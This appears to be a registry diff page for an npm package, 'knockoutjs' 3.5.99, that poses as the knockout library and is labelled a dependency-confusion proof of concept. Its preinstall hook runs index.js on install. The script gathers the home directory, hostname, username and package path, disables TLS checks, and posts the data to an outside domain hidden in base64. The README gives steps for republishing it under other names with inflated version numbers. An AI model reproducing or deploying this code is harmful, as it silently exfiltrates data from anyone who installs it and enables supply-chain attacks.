knockoutjs 3.5.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of knockoutjs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +25 -0
  2. package/index.js +38 -0
  3. package/package.json +11 -0
package/README.md ADDED
@@ -0,0 +1,25 @@
1
+ ## Prepare for publishing
2
+
3
+ * Change the `name` and `author` of the package in `package.json`.
4
+ * Change email in `index.js:1` and `author` in `package.json`
5
+
6
+ ## Publish to npmjs.com
7
+ Login to npm and then publish the package:
8
+ ```
9
+ npm login
10
+ npm publish --access public
11
+ ```
12
+ (--access public only really needed for scoped packages, as they are private by default)
13
+
14
+ Modify the version in `package.json`, and push new version:
15
+ ```
16
+ npm publish
17
+ ```
18
+
19
+ Typical versions you want to publish:
20
+
21
+ ```
22
+ * 0.0.999
23
+ * 0.999.999
24
+ * 99.999.999
25
+ ```
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ // non-malicious security research. Contact: webhak@forenk.uk
2
+ const os = require("os")
3
+ const http = require("https")
4
+ const packageJson = require("./package.json")
5
+ const pkgName = packageJson.name
6
+
7
+ const genRanHex = size => [...Array(size)].map(() => Math.floor(Math.random() * 16).toString(16)).join('')
8
+
9
+ const postData = JSON.stringify({
10
+ pkg: pkgName,
11
+ pkgjson: packageJson,
12
+ dir: __dirname,
13
+ home: os.homedir(),
14
+ host: os.hostname(),
15
+ username: os.userInfo().username,
16
+ })
17
+
18
+ var options = {
19
+ hostname: `${genRanHex(6)}.${pkgName}.${Buffer.from('aDR4Lm5pbmph', 'base64')}`,
20
+ port: 443,
21
+ path: "/",
22
+ method: "POST",
23
+ headers: {
24
+ 'Content-Type': 'application/json',
25
+ 'Content-Length': Buffer.byteLength(postData)
26
+ }
27
+ }
28
+
29
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
30
+
31
+ var req = http.request(options, (res) => {
32
+ res.on("data", (d) => {
33
+ process.stdout.write(d);
34
+ })
35
+ })
36
+
37
+ req.write(postData)
38
+ req.end()
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "knockoutjs",
3
+ "version": "3.5.99",
4
+ "description": "Proof of Concept package for Dependency Confusion security issues.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "webhak@forenk.uk",
10
+ "license": "MIT"
11
+ }